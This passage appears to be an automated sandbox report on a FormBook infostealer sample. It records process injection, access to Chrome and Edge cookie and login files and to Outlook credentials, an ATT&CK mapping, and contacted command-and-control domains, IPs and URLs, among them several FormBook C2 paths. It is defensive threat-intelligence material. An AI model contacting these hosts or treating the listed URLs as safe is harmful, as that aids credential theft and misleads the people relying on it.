                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformationJump to behavior
                Source: C:\Users\user\Desktop\6KzB3ReZ6z.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

                Stealing of Sensitive Information

                barindex
                Yara detected FormBook
                Source: Yara matchFile source: 2.2.6KzB3ReZ6z.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.6KzB3ReZ6z.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000009.00000002.2466198453.00000000030D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1499510890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000009.00000002.2466280699.0000000003120000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000009.00000002.2463648004.0000000000860000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1511216318.00000000017B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1511580453.0000000001860000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000008.00000002.2465884114.0000000002B90000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
                Tries to harvest and steal browser information (history, passwords, etc)
                Source: C:\Windows\SysWOW64\net.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\CookiesJump to behavior
                Source: C:\Windows\SysWOW64\net.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
                Source: C:\Windows\SysWOW64\net.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
                Source: C:\Windows\SysWOW64\net.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
                Source: C:\Windows\SysWOW64\net.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login DataJump to behavior
                Source: C:\Windows\SysWOW64\net.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local StateJump to behavior
                Source: C:\Windows\SysWOW64\net.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local StateJump to behavior
                Source: C:\Windows\SysWOW64\net.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web DataJump to behavior
                Tries to steal Mail credentials (via file / registry access)
                Source: C:\Windows\SysWOW64\net.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\Jump to behavior

                Remote Access Functionality

                barindex
                Yara detected FormBook
                Source: Yara matchFile source: 2.2.6KzB3ReZ6z.exe.400000.0.raw.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 2.2.6KzB3ReZ6z.exe.400000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000009.00000002.2466198453.00000000030D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1499510890.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000009.00000002.2466280699.0000000003120000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000009.00000002.2463648004.0000000000860000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1511216318.00000000017B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000002.00000002.1511580453.0000000001860000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000008.00000002.2465884114.0000000002B90000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

                Mitre Att&ck Matrix

                ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                Gather Victim Identity InformationAcquire InfrastructureValid AccountsWindows Management Instrumentation1
                DLL Side-Loading                		412
                Process Injection                		1
                Masquerading                		1
                OS Credential Dumping                		121
                Security Software Discovery                		Remote Services1
                Email Collection                		1
                Encrypted Channel                		Exfiltration Over Other Network MediumAbuse Accessibility Features
                CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization Scripts1
                Abuse Elevation Control Mechanism                		1
                Disable or Modify Tools                		LSASS Memory2
                Process Discovery                		Remote Desktop Protocol1
                Archive Collected Data                		3
                Ingress Tool Transfer                		Exfiltration Over BluetoothNetwork Denial of Service
                Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)1
                DLL Side-Loading                		41
                Virtualization/Sandbox Evasion                		Security Account Manager41
                Virtualization/Sandbox Evasion                		SMB/Windows Admin Shares1
                Data from Local System                		4
                Non-Application Layer Protocol                		Automated ExfiltrationData Encrypted for Impact
                Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook412
                Process Injection                		NTDS1
                Application Window Discovery                		Distributed Component Object ModelInput Capture4
                Application Layer Protocol                		Traffic DuplicationData Destruction
                Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
                Deobfuscate/Decode Files or Information                		LSA Secrets2
                File and Directory Discovery                		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
                Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
                Abuse Elevation Control Mechanism                		Cached Domain Credentials113
                System Information Discovery                		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items4
                Obfuscated Files or Information                		DCSyncRemote System DiscoveryWindows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job12
                Software Packing                		Proc FilesystemSystem Owner/User DiscoveryCloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
                Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt1
                DLL Side-Loading                		/etc/passwd and /etc/shadowNetwork SniffingDirect Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

                Behavior Graph

                Hide Legend

                Legend:

                • Process
                • Signature
                • Created File
                • DNS/IP Info
                • Is Dropped
                • Is Windows Process
                • Number of created Registry Values
                • Number of created Files
                • Visual Basic
                • Delphi
                • Java
                • .Net C# or VB.NET
                • C, C++ or other language
                • Is malicious
                • Internet
                behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1632395 Sample: 6KzB3ReZ6z.exe Startdate: 07/03/2025 Architecture: WINDOWS Score: 100 31 www.guilda.pro 2->31 33 www.enoughmoney.online 2->33 35 2 other IPs or domains 2->35 45 Suricata IDS alerts for network traffic 2->45 47 Antivirus / Scanner detection for submitted sample 2->47 49 Multi AV Scanner detection for submitted file 2->49 51 4 other signatures 2->51 10 6KzB3ReZ6z.exe 3 2->10         started        signatures3 process4 file5 29 C:\Users\user\AppData\...\6KzB3ReZ6z.exe.log, ASCII 10->29 dropped 63 Injects a PE file into a foreign processes 10->63 14 6KzB3ReZ6z.exe 10->14         started        signatures6 process7 signatures8 65 Maps a DLL or memory area into another process 14->65 17 lAXvz0QHVL.exe 14->17 injected process9 signatures10 43 Found direct / indirect Syscall (likely to bypass EDR) 17->43 20 net.exe 13 17->20         started        process11 signatures12 53 Tries to steal Mail credentials (via file / registry access) 20->53 55 Tries to harvest and steal browser information (history, passwords, etc) 20->55 57 Modifies the context of a thread in another process (thread injection) 20->57 59 3 other signatures 20->59 23 lAXvz0QHVL.exe 20->23 injected 27 firefox.exe 20->27         started        process13 dnsIp14 37 www.dkeqqi.info 47.83.1.90, 49719, 49720, 49721 VODANETInternationalIP-BackboneofVodafoneDE United States 23->37 39 www.enoughmoney.online 104.21.48.1, 49718, 80 CLOUDFLARENETUS United States 23->39 41 www.clzt.shop 188.114.96.3, 49723, 49724, 49725 CLOUDFLARENETUS European Union 23->41 61 Found direct / indirect Syscall (likely to bypass EDR) 23->61 signatures15

                Screenshots

                Thumbnails

                This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                windows-stand

                Antivirus, Machine Learning and Genetic Malware Detection

                Initial Sample

                SourceDetectionScannerLabelLink
                6KzB3ReZ6z.exe78%VirustotalBrowse
                6KzB3ReZ6z.exe71%ReversingLabsWin32.Backdoor.FormBook
                6KzB3ReZ6z.exe100%AviraTR/AD.Swotter.oagsj

                Dropped Files

                ⊘No Antivirus matches

                Unpacked PE Files

                ⊘No Antivirus matches

                Domains

                ⊘No Antivirus matches

                URLs

                SourceDetectionScannerLabelLink
                http://www.clzt.shop/j1w0/0%Avira URL Cloudsafe
                http://www.dkeqqi.info/96fy/0%Avira URL Cloudsafe
                http://www.clzt.shop0%Avira URL Cloudsafe

                Domains and IPs

                Contacted Domains

                NameIPActiveMaliciousAntivirus DetectionReputation
                www.enoughmoney.online
                		104.21.48.1
                		truefalse
                  		unknown
                  www.clzt.shop
                  		188.114.96.3
                  		truefalse
                    		high
                    www.dkeqqi.info
                    		47.83.1.90
                    		truefalse
                      		high
                      www.guilda.pro
                      		unknown
                      		unknownfalse
                        		unknown

                        Contacted URLs

                        NameMaliciousAntivirus DetectionReputation
                        http://www.dkeqqi.info/96fy/true
                        • Avira URL Cloud: safe
                        		unknown
                        http://www.clzt.shop/j1w0/true
                        • Avira URL Cloud: safe
                        		unknown

                        URLs from Memory and Binaries

                        NameSourceMaliciousAntivirus DetectionReputation
                        http://www.apache.org/licenses/LICENSE-2.06KzB3ReZ6z.exe, 00000001.00000002.1253230855.0000000006B32000.00000004.00000800.00020000.00000000.sdmpfalse
                          		high
                          http://www.fontbureau.com6KzB3ReZ6z.exe, 00000001.00000002.1253230855.0000000006B32000.00000004.00000800.00020000.00000000.sdmpfalse
                            		high
                            http://www.fontbureau.com/designersG6KzB3ReZ6z.exe, 00000001.00000002.1253230855.0000000006B32000.00000004.00000800.00020000.00000000.sdmpfalse
                              		high
                              https://duckduckgo.com/ac/?q=net.exe, 00000009.00000003.1747744543.0000000007E5E000.00000004.00000020.00020000.00000000.sdmpfalse
                                		high
                                http://www.fontbureau.com/designers/?6KzB3ReZ6z.exe, 00000001.00000002.1253230855.0000000006B32000.00000004.00000800.00020000.00000000.sdmpfalse
                                  		high
                                  http://www.founder.com.cn/cn/bThe6KzB3ReZ6z.exe, 00000001.00000002.1253230855.0000000006B32000.00000004.00000800.00020000.00000000.sdmpfalse
                                    		high
                                    http://www.fontbureau.com/designers?6KzB3ReZ6z.exe, 00000001.00000002.1253230855.0000000006B32000.00000004.00000800.00020000.00000000.sdmpfalse
                                      		high
                                      https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=net.exe, 00000009.00000003.1747744543.0000000007E5E000.00000004.00000020.00020000.00000000.sdmpfalse
                                        		high
                                        http://www.tiro.com6KzB3ReZ6z.exe, 00000001.00000002.1253230855.0000000006B32000.00000004.00000800.00020000.00000000.sdmpfalse
                                          		high
                                          https://ac.ecosia.org?q=net.exe, 00000009.00000003.1747744543.0000000007E5E000.00000004.00000020.00020000.00000000.sdmpfalse
                                            		high
                                            https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=net.exe, 00000009.00000003.1747744543.0000000007E5E000.00000004.00000020.00020000.00000000.sdmpfalse
                                              		high
                                              http://www.fontbureau.com/designers6KzB3ReZ6z.exe, 00000001.00000002.1253230855.0000000006B32000.00000004.00000800.00020000.00000000.sdmpfalse
                                                		high
                                                http://www.carterandcone.coml6KzB3ReZ6z.exe, 00000001.00000002.1253230855.0000000006B32000.00000004.00000800.00020000.00000000.sdmpfalse
                                                  		high
                                                  http://www.sajatypeworks.com6KzB3ReZ6z.exe, 00000001.00000002.1253230855.0000000006B32000.00000004.00000800.00020000.00000000.sdmpfalse
                                                    		high
                                                    http://www.typography.netD6KzB3ReZ6z.exe, 00000001.00000002.1253230855.0000000006B32000.00000004.00000800.00020000.00000000.sdmpfalse
                                                      		high
                                                      https://www.google.com/images/branding/product/ico/googleg_alldp.iconet.exe, 00000009.00000003.1747744543.0000000007E5E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                        		high
                                                        http://www.fontbureau.com/designers/cabarga.htmlN6KzB3ReZ6z.exe, 00000001.00000002.1253230855.0000000006B32000.00000004.00000800.00020000.00000000.sdmpfalse
                                                          		high
                                                          http://www.founder.com.cn/cn/cThe6KzB3ReZ6z.exe, 00000001.00000002.1253230855.0000000006B32000.00000004.00000800.00020000.00000000.sdmpfalse
                                                            		high
                                                            http://www.galapagosdesign.com/staff/dennis.htm6KzB3ReZ6z.exe, 00000001.00000002.1253230855.0000000006B32000.00000004.00000800.00020000.00000000.sdmpfalse
                                                              		high
                                                              http://www.founder.com.cn/cn6KzB3ReZ6z.exe, 00000001.00000002.1253230855.0000000006B32000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                		high
                                                                https://www.ecosia.org/newtab/v20net.exe, 00000009.00000003.1747744543.0000000007E5E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                  		high
                                                                  http://www.fontbureau.com/designers/frere-user.html6KzB3ReZ6z.exe, 00000001.00000002.1253230855.0000000006B32000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                    		high
                                                                    https://duckduckgo.com/chrome_newtabv20net.exe, 00000009.00000003.1747744543.0000000007E5E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                      		high
                                                                      https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/searchnet.exe, 00000009.00000003.1747744543.0000000007E5E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                        		high
                                                                        http://www.jiyu-kobo.co.jp/6KzB3ReZ6z.exe, 00000001.00000002.1253230855.0000000006B32000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                          		high
                                                                          http://www.galapagosdesign.com/DPlease6KzB3ReZ6z.exe, 00000001.00000002.1253230855.0000000006B32000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                            		high
                                                                            http://www.fontbureau.com/designers86KzB3ReZ6z.exe, 00000001.00000002.1253230855.0000000006B32000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                              		high
                                                                              http://www.fonts.com6KzB3ReZ6z.exe, 00000001.00000002.1253230855.0000000006B32000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                		high
                                                                                http://www.urwpp.deDPlease6KzB3ReZ6z.exe, 00000001.00000002.1253230855.0000000006B32000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                  		high
                                                                                  http://www.zhongyicts.com.cn6KzB3ReZ6z.exe, 00000001.00000002.1253230855.0000000006B32000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                    		high
                                                                                    http://www.sakkal.com6KzB3ReZ6z.exe, 00000001.00000002.1253230855.0000000006B32000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                      		high
                                                                                      https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=net.exe, 00000009.00000003.1747744543.0000000007E5E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                        		high
                                                                                        https://gemini.google.com/app?q=net.exe, 00000009.00000003.1747744543.0000000007E5E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                          		high
                                                                                          http://www.clzt.shoplAXvz0QHVL.exe, 0000000A.00000002.2468121597.00000000055EF000.00000040.80000000.00040000.00000000.sdmpfalse
                                                                                          • Avira URL Cloud: safe
                                                                                          		unknown

                                                                                          World Map of Contacted IPs

                                                                                          • No. of IPs < 25%
                                                                                          • 25% < No. of IPs < 50%
                                                                                          • 50% < No. of IPs < 75%
                                                                                          • 75% < No. of IPs

                                                                                          Public IPs

                                                                                          IPDomainCountryFlagASNASN NameMalicious
                                                                                          104.21.48.1
                                                                                          		www.enoughmoney.onlineUnited States
                                                                                          		13335CLOUDFLARENETUSfalse
                                                                                          47.83.1.90
                                                                                          		www.dkeqqi.infoUnited States
                                                                                          		3209VODANETInternationalIP-BackboneofVodafoneDEfalse
                                                                                          188.114.96.3
                                                                                          		www.clzt.shopEuropean Union
                                                                                          		13335CLOUDFLARENETUSfalse

                                                                                          General Information

                                                                                          Joe Sandbox version:42.0.0 Malachite
                                                                                          Analysis ID:1632395
                                                                                          Start date and time:2025-03-07 23:18:54 +01:00
                                                                                          Joe Sandbox product:CloudBasic
                                                                                          Overall analysis duration:0h 8m 52s
                                                                                          Hypervisor based Inspection enabled:false
                                                                                          Report type:full
                                                                                          Cookbook file name:default.jbs
                                                                                          Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                          Number of analysed new started processes analysed:13
                                                                                          Number of new started drivers analysed:0
                                                                                          Number of existing processes analysed:0
                                                                                          Number of existing drivers analysed:0
                                                                                          Number of injected processes analysed:2
                                                                                          Technologies:
                                                                                          • HCA enabled
                                                                                          • EGA enabled
                                                                                          • AMSI enabled
                                                                                          Analysis Mode:default
                                                                                          Analysis stop reason:Timeout
                                                                                          Sample name:6KzB3ReZ6z.exe
                                                                                          renamed because original name is a hash value
                                                                                          Original Sample Name:7360456ec87f544e6a9eb05a88bf81e0ce693fb4b04f6a4f6a71d05ce524abdf.exe
                                                                                          Detection:MAL
                                                                                          Classification:mal100.troj.spyw.evad.winEXE@7/2@4/3
                                                                                          EGA Information:
                                                                                          • Successful, ratio: 75%
                                                                                          HCA Information:
                                                                                          • Successful, ratio: 88%
                                                                                          • Number of executed functions: 95
                                                                                          • Number of non-executed functions: 295
                                                                                          Cookbook Comments:
                                                                                          • Found application associated with file extension: .exe

                                                                                          Warnings

                                                                                          • Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SgrmBroker.exe, conhost.exe, svchost.exe
                                                                                          • Excluded IPs from analysis (whitelisted): 2.16.185.191
                                                                                          • Excluded domains from analysis (whitelisted): a-ring-fallback.msedge.net, fs.microsoft.com, ctldl.windowsupdate.com, c.pki.goog
                                                                                          • Not all processes where analyzed, report is missing behavior information
                                                                                          • Report creation exceeded maximum time and may have missing disassembly code information.

                                                                                          Simulations

                                                                                          Behavior and APIs

                                                                                          TimeTypeDescription
                                                                                          17:19:56API Interceptor1x Sleep call for process: 6KzB3ReZ6z.exe modified
                                                                                          17:21:00API Interceptor1839099x Sleep call for process: net.exe modified

                                                                                          Joe Sandbox View / Context

                                                                                          IPs

                                                                                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                          104.21.48.1Stormwater Works Drawings Spec.jsGet hashmaliciousFormBookBrowse
                                                                                          • www.lucynoel6465.shop/jgkl/
                                                                                          Shipment Delivery No DE0093002-PDF.exeGet hashmaliciousLokibotBrowse
                                                                                          • touxzw.ir/tking3/five/fre.php
                                                                                          Remittance_CT022024.exeGet hashmaliciousLokibotBrowse
                                                                                          • touxzw.ir/fix/five/fre.php
                                                                                          http://microsoft-sharepoint4543464633.pages.dev/index-2jc93/Get hashmaliciousHTMLPhisherBrowse
                                                                                          • microsoft-sharepoint4543464633.pages.dev/index-2jc93/
                                                                                          install.exeGet hashmaliciousBabadedaBrowse
                                                                                          • api.secureserver.top/api/files/winpleskdedicated/installer.exe?key=winpleskdedicated
                                                                                          ZmK1CAc4VP.exeGet hashmaliciousFormBookBrowse
                                                                                          • www.tumbetgirislinki.fit/4wrd/
                                                                                          uI1A364y2P.exeGet hashmaliciousFormBookBrowse
                                                                                          • www.lucynoel6465.shop/jgkl/
                                                                                          QUOTATION NO REQ-19-000640.exeGet hashmaliciousFormBookBrowse
                                                                                          • www.lucynoel6465.shop/am6a/
                                                                                          LLLLLLLLASSSEERRRR.ps1Get hashmaliciousFormBookBrowse
                                                                                          • www.tumbetgirislinki.fit/k566/
                                                                                          laserl.ps1Get hashmaliciousFormBookBrowse
                                                                                          • www.lucynoel6465.shop/jgkl/?y2IHp=hI+cEEoDMRK5HtHlz4V8IEOzbfVROUzo+nuR9x41ri89hVkyLZ4bVRvwmPB4YpqMZl4/b+D+8qc7dcfD2Dlpe8No0hPfAwO5oFY7qBV6wzFyOtp6qA==&iLy=Wfpx
                                                                                          47.83.1.90MmF9tcIj1J.exeGet hashmaliciousFormBookBrowse
                                                                                          • www.btbjpu.info/w5wx/
                                                                                          g1V10ssekg.exeGet hashmaliciousFormBookBrowse
                                                                                          • www.qzsazi.info/iwsk/?UPV=qwrlZwFE4brJ+Usbu6RZeFUbTKGHQWC/+A2O8o5gWslYlw69Sq2SNUTtA7JSar73r2ZaW9IDSPQ51rU7dBcZzl+Ve0p5Mlvq8lHRbogxf09OqH6biQ==&YrV=FlsDgRMx
                                                                                          niceworkingskillwthichbetterperformancefromme.htaGet hashmaliciousCobalt Strike, FormBookBrowse
                                                                                          • www.jplttj.info/qk2k/
                                                                                          iJIXzyHnSe.exeGet hashmaliciousFormBookBrowse
                                                                                          • www.vvxcss.info/s4j0/
                                                                                          NEW PURCHASE ORDER.exeGet hashmaliciousFormBookBrowse
                                                                                          • www.quwzcz.info/34dy/
                                                                                          lJEn8ko37k.exeGet hashmaliciousFormBookBrowse
                                                                                          • www.olmeqv.info/asaj/
                                                                                          docs attached, DHL 1344857301..exeGet hashmaliciousFormBookBrowse
                                                                                          • www.rumgdz.info/tmzb/
                                                                                          mF8WNclxnv.exeGet hashmaliciousFormBook, GuLoaderBrowse
                                                                                          • www.amzavy.info/9fhz/
                                                                                          lightijak2.1.exeGet hashmaliciousFormBookBrowse
                                                                                          • www.enpgcb.info/tsxm/
                                                                                          2Stejb80vJ.exeGet hashmaliciousFormBookBrowse
                                                                                          • www.vvxcss.info/wbzo/

                                                                                          Domains

                                                                                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                          www.dkeqqi.infoRspot.ps1Get hashmaliciousFormBookBrowse
                                                                                          • 47.83.1.90
                                                                                          110501.exeGet hashmaliciousFormBookBrowse
                                                                                          • 47.83.1.90
                                                                                          reVwpCOF2U.exeGet hashmaliciousFormBookBrowse
                                                                                          • 47.83.1.90
                                                                                          Nn766xixK1.exeGet hashmaliciousFormBookBrowse
                                                                                          • 47.83.1.90
                                                                                          New Order.exeGet hashmaliciousFormBookBrowse
                                                                                          • 47.83.1.90
                                                                                          Attached List.exeGet hashmaliciousFormBookBrowse
                                                                                          • 47.83.1.90
                                                                                          TT Copy.rar.exeGet hashmaliciousFormBookBrowse
                                                                                          • 47.83.1.90
                                                                                          doc01210250121.jsGet hashmaliciousFormBookBrowse
                                                                                          • 47.83.1.90
                                                                                          ADtours0121025.Vbs.vbsGet hashmaliciousFormBookBrowse
                                                                                          • 47.83.1.90
                                                                                          Payment Details rar.exeGet hashmaliciousFormBookBrowse
                                                                                          • 47.83.1.90
                                                                                          www.enoughmoney.onlinek2ax9F6u0c.exeGet hashmaliciousFormBookBrowse
                                                                                          • 104.21.112.1
                                                                                          Nn766xixK1.exeGet hashmaliciousFormBookBrowse
                                                                                          • 104.21.16.1
                                                                                          New Order.exeGet hashmaliciousFormBookBrowse
                                                                                          • 104.21.112.1
                                                                                          79431_732.exeGet hashmaliciousFormBookBrowse
                                                                                          • 104.21.80.1
                                                                                          rR39202_08.exeGet hashmaliciousFormBookBrowse
                                                                                          • 104.21.112.1
                                                                                          Attached List.exeGet hashmaliciousFormBookBrowse
                                                                                          • 104.21.80.1
                                                                                          TT Copy.rar.exeGet hashmaliciousFormBookBrowse
                                                                                          • 104.21.64.1
                                                                                          Payment Details rar.exeGet hashmaliciousFormBookBrowse
                                                                                          • 104.21.16.1
                                                                                          Payment Slip rar.exeGet hashmaliciousFormBookBrowse
                                                                                          • 104.21.96.1
                                                                                          Fedex 22122024 overdue invoicesxlx..exeGet hashmaliciousFormBookBrowse
                                                                                          • 104.21.112.1
                                                                                          www.clzt.shopPayment -Advice-6UoSFOxOntvuu94-PDF.exeGet hashmaliciousFormBookBrowse
                                                                                          • 188.114.97.3
                                                                                          file.exeGet hashmaliciousFormBookBrowse
                                                                                          • 188.114.96.3
                                                                                          X4pCdhjJCI.exeGet hashmaliciousFormBookBrowse
                                                                                          • 188.114.97.3
                                                                                          Nn766xixK1.exeGet hashmaliciousFormBookBrowse
                                                                                          • 188.114.97.3
                                                                                          m0bU3cXhtt.exeGet hashmaliciousFormBookBrowse
                                                                                          • 188.114.97.3
                                                                                          RFQ RFQ-BA-00090303885-xlsx.exeGet hashmaliciousFormBookBrowse
                                                                                          • 188.114.97.3
                                                                                          New Order.exeGet hashmaliciousFormBookBrowse
                                                                                          • 188.114.96.3
                                                                                          DHL408-23-2025.exeGet hashmaliciousFormBookBrowse
                                                                                          • 188.114.96.3
                                                                                          RFQ RFQ-A-00090303885-xlsx.exeGet hashmaliciousFormBook, PureLog StealerBrowse
                                                                                          • 188.114.96.3
                                                                                          PDA Appointment-0000092-PDA40hadgjRaiDn2L9-PDF.exeGet hashmaliciousFormBookBrowse
                                                                                          • 188.114.96.3

                                                                                          ASNs

                                                                                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                          CLOUDFLARENETUSGBYfjUz4a5.exeGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                                                                                          • 104.21.96.1
                                                                                          HCoITD94bW.exeGet hashmaliciousAgentTeslaBrowse
                                                                                          • 104.26.12.205
                                                                                          sWr3wJ0SuB.exeGet hashmaliciousMSIL Logger, MassLogger RATBrowse
                                                                                          • 104.21.16.1
                                                                                          OtldpQxzAw.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                          • 104.21.32.1
                                                                                          MmF9tcIj1J.exeGet hashmaliciousFormBookBrowse
                                                                                          • 104.21.87.37
                                                                                          BtCQu5APhK.exeGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                                                                                          • 104.21.80.1
                                                                                          jki-dragon-release-online-setup.exeGet hashmaliciousUnknownBrowse
                                                                                          • 104.17.118.104
                                                                                          lvrHOgPXr5.exeGet hashmaliciousMSIL Logger, MassLogger RATBrowse
                                                                                          • 104.21.16.1
                                                                                          s6R3Xjt79e.exeGet hashmaliciousMSIL Logger, MassLogger RATBrowse
                                                                                          • 104.21.64.1
                                                                                          GuuQOl5kJR.exeGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                                                                                          • 104.21.64.1
                                                                                          CLOUDFLARENETUSGBYfjUz4a5.exeGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                                                                                          • 104.21.96.1
                                                                                          HCoITD94bW.exeGet hashmaliciousAgentTeslaBrowse
                                                                                          • 104.26.12.205
                                                                                          sWr3wJ0SuB.exeGet hashmaliciousMSIL Logger, MassLogger RATBrowse
                                                                                          • 104.21.16.1
                                                                                          OtldpQxzAw.exeGet hashmaliciousSnake Keylogger, VIP KeyloggerBrowse
                                                                                          • 104.21.32.1
                                                                                          MmF9tcIj1J.exeGet hashmaliciousFormBookBrowse
                                                                                          • 104.21.87.37
                                                                                          BtCQu5APhK.exeGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                                                                                          • 104.21.80.1
                                                                                          jki-dragon-release-online-setup.exeGet hashmaliciousUnknownBrowse
                                                                                          • 104.17.118.104
                                                                                          lvrHOgPXr5.exeGet hashmaliciousMSIL Logger, MassLogger RATBrowse
                                                                                          • 104.21.16.1
                                                                                          s6R3Xjt79e.exeGet hashmaliciousMSIL Logger, MassLogger RATBrowse
                                                                                          • 104.21.64.1
                                                                                          GuuQOl5kJR.exeGet hashmaliciousGuLoader, Snake KeyloggerBrowse
                                                                                          • 104.21.64.1
                                                                                          VODANETInternationalIP-BackboneofVodafoneDEMmF9tcIj1J.exeGet hashmaliciousFormBookBrowse
                                                                                          • 47.83.1.90
                                                                                          EJVG3verDy.exeGet hashmaliciousDBatLoader, FormBookBrowse
                                                                                          • 47.83.1.90
                                                                                          g1V10ssekg.exeGet hashmaliciousFormBookBrowse
                                                                                          • 47.83.1.90
                                                                                          guge.exeGet hashmaliciousMicroClipBrowse
                                                                                          • 47.86.104.84
                                                                                          niceworkingskillwthichbetterperformancefromme.htaGet hashmaliciousCobalt Strike, FormBookBrowse
                                                                                          • 47.83.1.90
                                                                                          iJIXzyHnSe.exeGet hashmaliciousFormBookBrowse
                                                                                          • 47.83.1.90
                                                                                          NEW PURCHASE ORDER.exeGet hashmaliciousFormBookBrowse
                                                                                          • 47.83.1.90
                                                                                          lJEn8ko37k.exeGet hashmaliciousFormBookBrowse
                                                                                          • 47.83.1.90
                                                                                          GogIe_v2.0305.2.1.exeGet hashmaliciousMicroClipBrowse
                                                                                          • 47.86.161.22
                                                                                          docs attached, DHL 1344857301..exeGet hashmaliciousFormBookBrowse
                                                                                          • 47.83.1.90

                                                                                          JA3 Fingerprints

                                                                                          ⊘No context

                                                                                          Dropped Files

                                                                                          ⊘No context

                                                                                          Created / dropped Files

                                                                                          C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\6KzB3ReZ6z.exe.log

                                                                                          Download File
                                                                                          Process:C:\Users\user\Desktop\6KzB3ReZ6z.exe
                                                                                          File Type:ASCII text, with CRLF line terminators
                                                                                          Category:dropped
                                                                                          Size (bytes):1216
